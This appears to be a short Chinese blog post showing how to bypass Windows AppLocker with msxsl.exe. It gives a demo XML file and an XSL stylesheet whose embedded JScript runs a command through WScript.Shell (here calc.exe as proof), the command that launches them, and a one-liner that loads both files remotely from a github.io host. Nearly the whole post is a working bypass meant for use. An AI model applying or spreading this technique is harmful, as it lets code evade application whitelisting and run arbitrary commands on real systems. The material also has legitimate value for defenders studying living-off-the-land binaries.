关于XSLT之前已经有几篇文章进行介绍了,Hack With XSLT,XXE with XSL,Xsl Exec Webshell ,今天分享一个通过MSXSL.exe绕过Applocker的方法。
msxsl.exe是微软用于命令行下处理XSL的一个程序,所以通过他,我们可以执行JavaScript进而执行系统命令。下载地址为:戳我
msxsl.exe 需要接受两个文件,XML及XSL文件,命令行操作如下:1
msxsl.exe demo.xml exec.xsl
demo.xml1
2
3
4
5
6
7
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
exec.xsl1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
同样的,msxsl.exe可以远程加载,具体方式如下:1
msxsl https://evi1cg.github.io/scripts/demo.xml https://evi1cg.github.io/scripts/exec.xsl